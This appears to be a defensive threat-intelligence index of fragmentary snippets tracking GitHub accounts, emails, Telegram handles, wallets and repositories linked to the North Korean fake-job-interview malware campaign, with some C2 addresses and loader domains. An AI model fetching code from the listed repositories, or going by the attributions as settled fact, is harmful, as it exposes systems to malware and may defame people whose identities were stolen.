Given this context of an interconnected network of GitHub accounts that share several characteristics and…","…{\"id\":\"70303b23441c8846\",\"type\":\"link\",\"url\":\"https://github.com/husreo\",\"x\":6220,\"y\":-2040,\"width\":400,\"height\":400},…","…{\"id\":\"6feeca4f39a95741\",\"type\":\"link\",\"url\":\"https://github.com/HyperBuildX\",\"x\":580,\"y\":2380,\"width\":400,\"height\":400},…","…find 7 more repositories by searching “blocknovas” and “nyxcipher” that had the same obfuscated code: github.com/David-Odoh/Nyxcipher github.com/Ianstiefvater/blocknova github.com/PrimarchOrder/Blocknovas-LLC-Test github.com/Yasin-97/blocknovas-test github.com/lArtiquel/nyxcipher.ai github.com/mirzamuda…","…github.com/junkai121 • [Archive](https://web.archive.org/web/20220410220220/https://github.com/junkai121) - github.com/icafa - linkedin.com/in/jun-kai-78911a156/ - 0x8aa07899eb940f40e514b8effdb3b6af5d1cf7bb - 0x434b9d5f65302a296e6e2ede5fcf1f8dd6cde139 -…","…Follow their code on GitHub. https://github.com/ican0220 ○ 각 계정의 특정 리포지터리에서 발견된 위장 취업에 사용된 것으로 추정되는 데이터 를 분석한 결과 도출된 위장 취업 캠페인의 매커니즘은 다음과 같습니다.…","…Meta 2023-2023, Balance Capital 2022-2023, Dexify 2020-2022, Aneroverse 2020-2020, Radar Finance 2019-2020 - icetrust0212 - icebera - github.com/icebera • [Archive](https://web.archive.org/web/20250827055910/https://github.com/icebera) -…","…Domains: - vscode-bootstrapper.vercel.app ## Variant eighteen - November 26, 2025 - Unique Identifier: flag=307 github.com/ihzhatamamy/-MagicDoor_Property_Rental #### Notes: This repo was published November 23, 2025 GitHub Users: - ihzhatamamy - James Smith Email Addresses: - Ihzha Tamamy…","…github.com/louistalent - github.com/galaxy-foundation - github.com/galaxydigital - github.com/TopDeveloper0809 - github.com/IlliaButenko - github.com/johnhoang-star - github.com/techsavvyninja - github.com/intellichain555 - github.com/zkbusiness -…","…https://github.com/SweetDream https://github.com/SmileS-777 https://github.com/StealthCoder1109 https://github.com/V0410 https://github.com/ImfanAi https://github.com/aidenwong812 https://github.com/brightlystar0117 https://github.com/bestselection18…","…github.com/ethlocker (name: Hack the Moon!) • [Archive](https://web.archive.org/web/20230214213422/https://github.com/ethlocker) - github.com/imyugioh • [Archive](https://web.archive.org/web/20250827055032/https://github.com/imyugioh) - github.com/raptor1001 - github.com/zhChameleon -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket.dev's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. uspe0715 holds sasakidev581@gmail.com (60); incredible17 holds slobodanprluv@gmail.com (3); knightsdex holds stard8447@gmail.com (100). Where the address came from a report, the report is https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages https://socket.dev/blog/north-korea-contagious-interview-npm-attacks. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/Blue630 - github.com/dotmaker619 - github.com/EliteDev619 - github.com/goldenpig951204 - github.com/green25dev - github.com/incredigroup - github.com/mhcatty - github.com/mhcrocky - github.com/naruhitokaide - github.com/Redmon540 - github.com/sp0t -…","…https[ :// ]github.com/TommyMinion/DeFi-Market https[ :// ]github.com/0x3ca54/arena-world https[ :// ]github.com/InfiniGods-Tech/rei Markdown GitHub account identified making initial commits to other repositories containing malicious code https[ ://…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Chollima Group's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. innovation-inc808 holds libfredrick@gmail.com (6). Where the address came from a report, the report is https://chollima-group.io/posts/bells-ringing-in-dar-es-salaam.html. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/TopDeveloper0809 - github.com/IlliaButenko - github.com/johnhoang-star - github.com/techsavvyninja - github.com/intellichain555 - github.com/zkbusiness - github.com/chainoneer - github.com/sujan198703 - github.com/alexiva0806 - github.com/poprunner88 -…","…odincui@gmail.com sunnykan314@gmail.com salbu15154@gmail.com salbuvabybit@hotmail.com mykytadunaiev@outlook.com moktamd3@gmail.com Sites: github.com/intellichain555 Bells Inter Trading: ---------------------------------------- Sites: bellastudio.online bellsstudio.site IPs: 69.30.210.152 -…","…: Richard0Gibson : 2022-10-25T14:50:43Z https: //github.com/girlbuzz : MelvinAllen : 2022-10-25T19:47:28Z https: //github.com/itayplav : EduardoLunaq : 2022-10-25T20:04:05Z https: //github.com/SeanJones11 : SeanJones11 : 2022-10-25T20:27:17Z https:…","…https://github.com/ThePinion : Richard0Gibson : 2022-10-25T14:50:43Z https://github.com/girlbuzz : MelvinAllen : 2022-10-25T19:47:28Z https://github.com/itayplav : EduardoLunaq : 2022-10-25T20:04:05Z https://github.com/SeanJones11 : SeanJones11 : 2022-10-25T20:27:17Z https://github.com/belbazanas…","…![](./1934280908103884850-2.png) - ![](./X_2025-11-22_PinnacleFTSO.png) #### Lover Man - github.com/itloverman (404) - t.me/itloverman (ID: 6093085915) • ([Messages](./user-6093085915-@itloverman.txt)) -…","…ttps://github.com/samuelmeadowbiankah/felina/ https://github.com/nhonlvsoict/skill-test-main/ https://github.com/goldendragon68/Bullana/ https://github.com/ivanwassaf/skill-test/ https://github.com/SettleMint-Tech-Hub5/SettleMint_Platform/ https://github.com/veneliteus-dev/exchange-backend/ https://github.com/0x9x…","…https://github.com/keizir In his followers, we can see some suspicious accounts: Press enter or click to view image in full size https://github.com/jac0x Among his followers, there are accounts displaying specific keywords, profile images, suspicious activities, and skills that suggest a…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from NVISO's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. jackhill2765-gif holds jackhill2765@gmail.com (1). Where the address came from a report, the report is https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…| Real-estate tokenization | realfraction (sub-shape D) | L | | [jaiu3d/DeFi-Estate](https://github.com/jaiu3d/DeFi-Estate) | Real-estate tokenization | realfraction (sub-shape D) | L | | [kio87j/DeFi-Estate](https://github.com/kio87j/DeFi-Estate) | Real-estate…","…: susp https://github.com/SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github.com/jayevans-star https://github.com/kanbei0605 https://github.com/KeepGrowingHere https://gist.github.com/kevin921115 https…","…-success https://github.com/SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github.com/jayevans-star https://github.com/kanbei0605 https://github.com/KeepGrowingHere https://gist.github.com/kevin921115 https…","…![](./wdev733-jack-lu-2.jpg) #### James Lee - Claimed Hong Kong - Has Citibank - jamie088 - brchwork - jameslee - https://github.com/jamie088 - brchwork@gmail.com - t.me/jamie088 - 0x8F5eBDdcf2bae86D3A4E3C4De427E705d2eBF432 - 0x642F68586E0DeBe358B0C65feF81B1A9498d6477 -…","…github.com/SuperVenus0725 • [Archive](https://web.archive.org/web/20250827055204/https://github.com/SuperVenus0725) - github.com/Jason07250000 - https://x.com/MagicCraftGame/status/1532587886234652673 - https://x.com/MagicCraftGame/status/1527876841868087302 -…","…sasuke031026@gmail.com - f99964995@gmail.com - github.com/newstable - github.com/webgalaxy315 - github.com/nova-blockchain - github.com/jayceetran - github.com/zenggang315 - github.com/sasuke031026 - github.com/sasuke1026 - github.com/sasukeuchiha - t.me/newstabled -…","…Github: https://github.com/newstable https://github.com/webgalaxy315 https://github.com/nova-blockchain https://github.com/jayceetran https://github.com/zenggang315 https://github.com/sasuke031026 https://github.com/sasuke1026 https://github.com/sasukeuchiha Telegram: new…","…SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github.com/jayevans-star https://github.com/kanbei0605 https://github.com/KeepGrowingHere https://gist.github.com/kevin921115 https://github.com/naruhitokaide https…","…![](./1932932373609586853-3.jpeg) - ![](./X_2025-11-22_haruto918miura.png) #### Jin Bang, Primoz Bernard - x.com/j7771122 - github.com/jbb1122 - IP: 223.165.6.13 - gombau1212@gmail.com - jbangbang1122@gmail.com - johnkalp1106@gmail.com - fairyland0926@gmail.com -…","…Jenson Collins - 2024, 2025 - nfbigjc - nonfungiblejc.eth - JCollinsX - x.com/nonfungiblejc - jenson.collins@hotmail.com - github.com/JCollinsX - https://dune.com/nfbigjc = Ender + TokenFi + Floki - 0x44c2ab7db5299e008c586d52e9b6b193e4173471 (nonfungiblejc.eth) -…","…Github: github.com/Hiccup19940325 github.com/neverm25 github.com/seosigoto github.com/JCollinsX github.com/mtfuji25 github.com/supermutexc github.com/call-by Persona Names: Seo Kiwon Seo Sigoto Jenson Collins Kazune…","…rgrobertclark032@gmail.com - johnwilliam199024@gmail.com - github.com/loganworld - github.com/logan-smith-cloud - github.com/jeevan8888 - github.com/smirnovvvasyl - t.me/defiworld_dev (ID: 5157722477) • ([Messages](./user-5157722477-@defiworld_dev.txt)) -…","…smirnovvvasyl@gmail.com rgrobertclark032@gmail.com johnwilliam199024@gmail.com Github: github.com/loganworld github.com/logan-smith-cloud github.com/jeevan8888 github.com/smirnovvvasyl Telegram: defiworld_dev loganworld logan_lee_c Personas: Logan Lee Logan King Logan Smith Vasyl Smirnov Ethan…","…IQ (2021), Sunrise Layer, Elys Network, Ferrum/Comdex (2023) - junkai121 - jelysn - jpine3528 - jgo121 - junkai121@outlook.com - github.com/jelysn - github.com/jpine3528 • [Archive](https://web.archive.org/web/20250827055600/https://github.com/jpine3528) - github.com/junkai121 •…","…front-end developer and inital tester/deployer for Aqua Protocol) https://github.com/CrazyDream000 (Alternative persona of SonataM ) https://github.com/jewelas (Account connected to CrazyDream000 through common contributions) Each of these displays a somewhat unique threat type while also being…","…* Forked repos match others of note * Solely following devstorm23 * https://github.com/devstorm23 * https://github.com/jgodvali * Followed by devstorm23 * https://github.com/happylucktomorrow * Followed by devstorm23 * alerdi143@gmail.com","…Jikun Liao - \"James Lee\" - Q12024, 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580) - james117lee@gmail.com - github.com/jnuon • [Archive](https://archive.ph/rf3TU) - 0xb9451049310053b29e5dd98c54bff37a5e38819c - ![](./james-lee-coindesk.jpg) #### Jikun Liao -…","…: SeanJones11 : 2022-10-25T20:27:17Z https: //github.com/belbazanas : freedgregory : 2023-01-31T01:01:13Z https: //github.com/jocadefichain : leroma1 : 2023-02-13T18:46:42Z https: //github.com/cristttt : cristttt : 2023-05-18T21:13:43Z https: //github.com/eddieda1 : eddieda1…","…: SeanJones11 : 2022-10-25T20:27:17Z https://github.com/belbazanas : freedgregory : 2023-01-31T01:01:13Z https://github.com/jocadefichain : leroma1 : 2023-02-13T18:46:42Z https://github.com/cristttt : cristttt : 2023-05-18T21:13:43Z https://github.com/eddieda1 : eddieda1 :…","…github.com/devlegend524 - github.com/cryptodev524 - github.com/alexstepan0209 - github.com/kvenus-uj - github.com/suzukidavid - github.com/john741672 - github.com/webcat882 - github.com/lgamingdev1 - github.com/rustsol114 - github.com/maestro418 - github.com/rizzolib -…","…github.com/galaxy-foundation - github.com/galaxydigital - github.com/TopDeveloper0809 - github.com/IlliaButenko - github.com/johnhoang-star - github.com/techsavvyninja - github.com/intellichain555 - github.com/zkbusiness - github.com/chainoneer - github.com/sujan198703 -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket.dev's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. JosephRadke holds tetianabanakh34@gmail.com (1); venjamindeco0305-spec holds venjamindeco0305@gmail.com (70). Where the address came from a report, the report is https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Wong Shao Onn - 0xjsmart - call-by - jp-smart - wewecalibrate - joshupgig - github.com/call-by - github.com/wewecalibrate - github.com/jp-smart • [Archive](https://archive.ph/grqjk) - joshupgig@gmail.com - smart.solidity@gmail.com - 0x06f90983cd2215379e440fc525e441d6a5fc3fba -…","…Layer, Elys Network, Ferrum/Comdex (2023) - junkai121 - jelysn - jpine3528 - jgo121 - junkai121@outlook.com - github.com/jelysn - github.com/jpine3528 • [Archive](https://web.archive.org/web/20250827055600/https://github.com/jpine3528) - github.com/junkai121 •…","…vscode-helper171.vercel.app ## Variant seventeen - November 26, 2025 - Unique Identifier: flag=307 github.com/jpoullet2000/ethvault_staking_project #### Notes: This repo was published November 26, 2025 GitHub Users: - jpoullet2000 - James Smith Email Addresses: - Jean-Baptiste…","…github.com/junkai121 • [Archive](https://web.archive.org/web/20220410220220/https://github.com/junkai121) - github.com/icafa - linkedin.com/in/jun-kai-78911a156/ - 0x8aa07899eb940f40e514b8effdb3b6af5d1cf7bb -…","…https://adamglab.dev/ was a portfolio justshiftjk was using. Github: https://github.com/justshiftjk Other names: 0xAlche, infinite0731, bettyjk0915 E-mail: adamglab0731.pl@gmail.com Twitter: https://x.com/bettyjk0915 Telegram:…","…{\"id\":\"c394f223d72741e7\",\"type\":\"link\",\"url\":\"https://github.com/justshiftjk\",\"x\":580,\"y\":4790,\"width\":400,\"height\":400},…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Flare's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. KaleZhang000 holds kalezhang000@gmail.com (100). Where the address came from a report, the report is https://flare.io/learn/resources/north-korean-infiltrator-threat. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github.com/jayevans-star https://github.com/kanbei0605 https://github.com/KeepGrowingHere https://gist.github.com/kevin921115 https://github.com/naruhitokaide https://github.com/lprfacial247 htt…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Aikido Security's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. Kaufman0913 holds kaufman0913@gmail.com (6). Where the address came from a report, the report is https://www.aikido.dev/blog/malicious-package-web3. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github.com/jayevans-star https://github.com/kanbei0605 https://github.com/KeepGrowingHere https://gist.github.com/kevin921115 https://github.com/naruhitokaide https://github.com/lprfacial247 https://github.com/melodyxpot https://…","…fantasticfullstackdev - webdevninja - Jinathin - kei-tren - github.com/smartcoding51 • [Archive](https://archive.ph/mo0QZ) - github.com/kei-tren • [Archive](https://archive.ph/fhKTT) - keinakano415@gmail.com - x.com/kn_amm51 - t.me/kn_amm (ID: 1967508345) -…","…Mike Willie Lee - 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580) - keizir - willie.lee226 - github.com/keizir • [Archive](https://archive.ph/SjJfK) - willie.lee226@gmail.com - 0x97e36fAE76cD7ef7cC1213927A9A4E10a61CdD8d #### Peter Xiao - 2024,…","…to view image in full size If we check the account related to Willie lee: Press enter or click to view image in full size https://github.com/keizir In his followers, we can see some suspicious accounts: Press enter or click to view image in full size https://github.com/jac0x…","…While its original GitHub repository ( github.com/kevin-tra/auth-validator ) has since been removed, historical records tie it to the kevin-tra GitHub account. Socket AI Scanner’s…","…While its original GitHub repository ( github.com/kevin-tra/auth-validator ) has since been removed, historical records tie it to the kevin-tra GitHub account.…","…https://github.com/james888 https://github.com/jayevans-star https://github.com/kanbei0605 https://github.com/KeepGrowingHere https://gist.github.com/kevin921115 https://github.com/naruhitokaide https://github.com/lprfacial247 https://github.com/melodyxpot https://github.com/mikoalas0414 https://gith…","…![](./1913271095253516308.png) #### Kevin Chang - kchang.prof@gmail.com - kevin.zhang.soft@gmail.com - github.com/kevinsoft81 - https://x.com/browsercookies/status/1913267818386305459 - ![](./1913267818386305459.png) #### Logan Collins -…","…| Real-estate tokenization | realfraction (sub-shape D) | L | | [kio87j/DeFi-Estate](https://github.com/kio87j/DeFi-Estate) | Real-estate tokenization | realfraction (sub-shape D) | L | | [kio87j/defi-estate-latest](https://github.com/kio87j/defi-estate-latest)…","…- https://medium.com/ferrumnetwork/monthly-development-report-june-2023-a439f54934e9 - https://theorg.com/org/kira-core - https://github.com/KiraCore/sekai/commits/master/?after=9f10902b12b8b55552d7f33fabe25a446d6c6df6+524 - https://www.coindesk.com/tech/2024/10/02/how-north-korea-infiltrated-the-crypto-industry - ![](./jun-kai.jpg) --- ## Hector Network…","…https://github.com/codepert https://github.com/cryptogru812 https://github.com/deeplus2021 https://github.com/hi-tech-AI https://github.com/kirbyAttack https://github.com/legendx0333 https://github.com/lionstar259007 https://github.com/motokimasuo…","…specific details about previous roles. At one point, Motoki is asked to share their screen again; however, he used a different profile — github.com/kirbyAttack — as evidenced in the following image. The interview proceeds, and since the user is sharing their screen, they are asked to access one…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Open Source Malware's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. koinos-finance holds johndesmet814@gmail.com (9). Where the address came from a report, the report is https://opensourcemalware.com/blog/contagious-interview-vscode. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…x.com/0xMuse9 - x.com/0xnightfly github.com/0xnightfly - x.com/0xopsdev github.com/0xopsdev - x.com/akratos_god github.com/kratos-te - x.com/d0sc4u - x.com/EleazarTlapala - x.com/norocos_cp - x.com/soladify github.com/soladify - x.com/SvenDotDev ### microgift88 /…","…pgrade-backend-2 github.com/TopStar720/nyx4 github.com/asimhafeezz/blacknovas-test github.com/hrjaffery/nyc-bitquery-whale-transactions github.com/krishprism1/ncipher1.2upgrade-backend github.com/SyedMinhalHasan/blocknovas-task github.com/artur-kolesnyk/NyxCipher-test github.com/xorostar/blocknovas-llc-currency-converte…","…![](./X_2025-11-22_haodev007.png) #### Ming Tai - Igor Babe - github.com/vikigstar (codebear) #### Thành Hao Vo - Kunkka0822 - github.com/Kunkka0822 • [Archive](https://web.archive.org/web/20250827054829/https://github.com/Kunkka0822) #### David Lee - solandrust -…","…github.com/ChallengeDev210 - github.com/OrdinalKing - github.com/devlegend524 - github.com/cryptodev524 - github.com/alexstepan0209 - github.com/kvenus-uj - github.com/suzukidavid - github.com/john741672 - github.com/webcat882 - github.com/lgamingdev1 - github.com/rustsol114 -…","…Github Repository https://github.com/mthomas0802/Market-Maker-Bot https://github.com/RealToma/Ly_AutoPayBot https://github.com/L34rnT0C0d3 Phishing Site https://app.mercuryswap.io Popular Articles From Blink to Nt: Codegate 2025 FullChain Write-up…","…github.com/hngi/Team-Fierce-Backend-Golang v0.0.0-20200612135333-4f82269a0a14 hngi Nextron github.com/lambda-platform/dan v0.0.0-20221011015638-695b34fb98d4 lambda-platform Nextron github.com/lambda-platform/ebarimt-rest-api…","…avid-Odoh/Nyxcipher github.com/Ianstiefvater/blocknova github.com/PrimarchOrder/Blocknovas-LLC-Test github.com/Yasin-97/blocknovas-test github.com/lArtiquel/nyxcipher.ai github.com/mirzamudassir/blocknovas-nyx-public github.com/trishateh/blocknovas-task Since we knew various accounts were sharing this…","…https://github.com/cryptogru812 https://github.com/deeplus2021 https://github.com/hi-tech-AI https://github.com/kirbyAttack https://github.com/legendx0333 https://github.com/lionstar259007 https://github.com/motokimasuo https://github.com/mymiracle0118 https://github.com/swdreams…","…github.com/hexnome ### chain_sats - leionion - chain_sats - x.com/chain_sats - j.ohnceballos0716@gmail.com - \"Tarrance\" Tuson - github.com/leionion ### shinytechapes - shinytechapes - shinyapes - x.com/shinytechapes - github.com/shinyapes - dillonmarszalek@gmail.com - DillonGru28 -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Kieran Miyamoto (kmsec)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. leonyx007 holds keidev60@gmail.com (100). Where the address came from a report, the report is https://kmsec.uk/blog/contagious-trader/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…galaxy85126@gmail.com - leopawel65@gmail.com - github.com/peterz-codes - github.com/camonanesi - github.com/wildwolf085 - github.com/leopawel - t.me/komonado (ID: 1017960142) • ([Messages](./user-1017960142-@komonado.txt)) - https://www.lancers.jp/profile/camonanesi -…","…Github: https://github.com/peterz-codes https://github.com/camonanesi https://github.com/wildwolf085 https://github.com/leopawel Telegram: komonado Hiring…","…y85126@gmail.com leopawel65@gmail.com Github: https://github.com/peterz-codes https://github.com/camonanesi https://github.com/wildwolf085 https://github.com/leopawel Telegram: komonado Hiring…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Panther's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. lewisbarajas95 holds lewis.barajas95@outlook.com (1). Where the address came from a report, the report is https://panther.com/blog/inside-dprk%E2%80%99s-npm-malware-factory-108-packages-261-versions-and-a-31-day-campaign-wave. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/alexstepan0209 - github.com/kvenus-uj - github.com/suzukidavid - github.com/john741672 - github.com/webcat882 - github.com/lgamingdev1 - github.com/rustsol114 - github.com/maestro418 - github.com/rizzolib - github.com/endlessbuilder - github.com/smile0307 -…","…$XGM, Fantom, Preon Finance, Sperax - Light Fury - lightfury - light-fury - leech.developer - leech_dev - x.com/lee_chienhui - github.com/light-fury • [Archive](https://web.archive.org/web/20230513202311/https://github.com/light-fury) - medium.com/@leech.developer -…","…t.me/Bio_1001 - https://x.com/browsercookies/status/1934290466054553751 - ![](./1934290466054553751-2.png) #### Thomas Lin - github.com/lin-crypto - t.me/lin_crypto1012 - linkedin.com/thomaslindev (404) - https://x.com/browsercookies/status/1934290466054553751 -…","…https://github.com/deeplus2021 https://github.com/hi-tech-AI https://github.com/kirbyAttack https://github.com/legendx0333 https://github.com/lionstar259007 https://github.com/motokimasuo https://github.com/mymiracle0118 https://github.com/swdreams https://github.com/toptalhook…","…smirnovvvasyl@gmail.com - rgrobertclark032@gmail.com - johnwilliam199024@gmail.com - github.com/loganworld - github.com/logan-smith-cloud - github.com/jeevan8888 - github.com/smirnovvvasyl - t.me/defiworld_dev (ID: 5157722477) •…","…com websolution0524@gmail.com smirnovvvasyl@gmail.com rgrobertclark032@gmail.com johnwilliam199024@gmail.com Github: github.com/loganworld github.com/logan-smith-cloud github.com/jeevan8888 github.com/smirnovvvasyl Telegram: defiworld_dev loganworld logan_lee_c Personas: Logan Lee Logan King Logan…","…akp707d@gmail.com - websolution0524@gmail.com - smirnovvvasyl@gmail.com - rgrobertclark032@gmail.com - johnwilliam199024@gmail.com - github.com/loganworld - github.com/logan-smith-cloud - github.com/jeevan8888 - github.com/smirnovvvasyl - t.me/defiworld_dev (ID: 5157722477) •…","…ail.com akp707d@gmail.com websolution0524@gmail.com smirnovvvasyl@gmail.com rgrobertclark032@gmail.com johnwilliam199024@gmail.com Github: github.com/loganworld github.com/logan-smith-cloud github.com/jeevan8888 github.com/smirnovvvasyl Telegram: defiworld_dev loganworld logan_lee_c Personas: Loga…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Flare's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. logidexp holds simonbergman516@gmail.com (100). Where the address came from a report, the report is https://flare.io/learn/resources/north-korean-infiltrator-threat. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…However, the account is also currently “404ing” on LinkedIn, which means it has either been deleted or banned. https://github.com/lopezluis00 One member named “ thegoodearth918” (github.com/thegoodearth918) was found within the GitHub account for “ SoftGlide LLC ”…","…tomasjakson44@gmail.com - ssch26802@gmail.com - williamh8930@gmail.com - github.com/thomson0313 - github.com/fullstackdev8681 - github.com/louistalent - github.com/galaxy-foundation - github.com/galaxydigital - github.com/TopDeveloper0809 - github.com/IlliaButenko -…","…github.com/sujan198703 - github.com/alexiva0806 - github.com/poprunner88 - github.com/wow-webmaster - github.com/techwizard210 - github.com/lovelyBestDev - github.com/Thomas-Kebin - github.com/ChallengeDev210 - github.com/OrdinalKing - github.com/devlegend524 - github.com/cryptodev524 -…","…![](./1923549354025234903-2.png) #### Lovely Developer - Josue Valdivia - lovelydeveloper829@gmail.com - github.com/LovelyDev829 - https://x.com/browsercookies/status/1923539373959897397 - https://x.com/browsercookies/status/1923539768849436999 -…","…-star https://github.com/kanbei0605 https://github.com/KeepGrowingHere https://gist.github.com/kevin921115 https://github.com/naruhitokaide https://github.com/lprfacial247 https://github.com/melodyxpot https://github.com/mikoalas0414 https://github.com/miracleweb9000 https://github.com/Code852 https://github.c…","…BaHNYFQYsBKX541kjEB9sgoHCc7NQdwc16S5ZE9bmYYv #### Lucas Wong - 2025 - cox1118 - superlwclx - LucasWongC - github.com/superlwclx - github.com/LucasWongC • [Archive](https://web.archive.org/web/20250108192702/https://github.com/LucasWongC) - t.me/cox1118 (ID: 5034927805) •…","…* Profile photo matches marksantiago02 * Also used by Steven Leal * GitHub 3: https://github.com/luckypenny1632333 * Display Name: Lucky Penny * Also linked to BTC415 used by Steven Leal * Portfolio: https://marksantiago.top/ * Twitter:…","…file but are implicated in the campaign github.com/tinitachodos/apom22 github.com/tinitachodos/apom github.com/winterteam29879/apom github.com/Luckystar483/QuickShop github.com/prahaladbelavadi/CoinLocatorDemo ### NPM packages react-svg-plugin react-svg-config ### File…","…Accounts: lukobogdan47 austin-a3 Bitbucket Accounts: Ezra Walmsley Raymundo Curiel Malicious GitHub Repositories # https://github.com/lukobogdan47/empty-array-validator https://github.com/austin-a3/twitterapis Malicious Bitbucket Repositories #…","…업로드 시간(UTC+9) GitHub 주소 C2 1 empty-array-validator alextucker0519 2025-03-12 04:18:13 https://github.com/lukobogdan47/empty-array-validator 172.86.84.38:1224/client/9/901 144.172.86.27:1224/client/9/903 2 twitterapis taras_lakhai 2025-03-13…","…lukobogdan47 austin-a3 Bitbucket Accounts: Ezra Walmsley Raymundo Curiel Malicious GitHub Repositories # https://github.com/lukobogdan47/empty-array-validator https://github.com/austin-a3/twitterapis Malicious Bitbucket Repositories #…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Hacking But Legal's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. lxin6793-dot holds lxin6793@gmail.com (96). Where the address came from a report, the report is https://www.hackingbutlegal.com/p/north-korea-is-hiring. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…grow-crypto https://github.com/Gold-Dev726/ https://github.com/harrycorfu https://github.com/healer1064/ https://github.com/hermes1108 https://github.com/Lyappunov https://github.com/masculus https://github.com/metacoffee0x17 https://github.com/mr-new-0509 https://github.com/naruhitokaide https://…","…| StockX PoC | realfraction (sub-shape C) | L | | [Lynqex-Labs/gas-optimization](https://github.com/Lynqex-Labs/gas-optimization) | StockX-adjacent | realfraction (sub-shape C; inferred) | (inferred sibling on confirmed-operator-owned org; loader presence not directly…","Transcribed from the researcher's Boris Lee Anderson and Friends chart, whose edges say which account hangs off which; the chart marks the link between this cluster and m4rcu5o's with the words colleagues or alts, without deciding. The chart gives idioRusty as the current Telegram handle and pup5ol and stevensprg as former ones, and a Pinterest account under hudes0112 for which this site has no extractor. The same GitHub account and the hudes0112 address already reach this site from ketman.org's HyperbuildX reporting, which files it under the name AnotherRusty.","…https://github.com/apollotoday E-mail: matthiasli.mt@gmail.com Twitter: https://x.com/j_apollum Persona 3 (m4rcu5o) Github: https://github.com/m4rcu5o Other Names: Hudesdev, husreodev, MacSolDev, PupSol E-mail: hudes0112@gmail.com Telegram: https://t.me/idioRusty (shared with…","…{\"id\":\"10805d5a9269b76f\",\"type\":\"link\",\"url\":\"https://github.com/m4rcu5o\",\"x\":3820,\"y\":-1220,\"width\":400,\"height\":400},…","The report of 1 October 2025 describes the m8s-lab organisation as made up entirely of DPRK operatives and a possible Canadian facilitator, run by microgift88, who has a long history of fake identities used to win Web3 jobs; its member XTruebliss, whose accounts were suspended, now operates the X account 0xMuseNine. Both GitHub accounts have since been removed.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from GitLab Threat Intelligence's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. mahmodghnaj holds mahmodghnaj1@gmail.com (100); WebMobileDevelopment holds maximmironenkoreact@gmail.com (43); MA225 holds mazheng225@outlook.com (3); smart-coder997 holds melnikoleg995@gmail.com (8); migueljose1226 holds 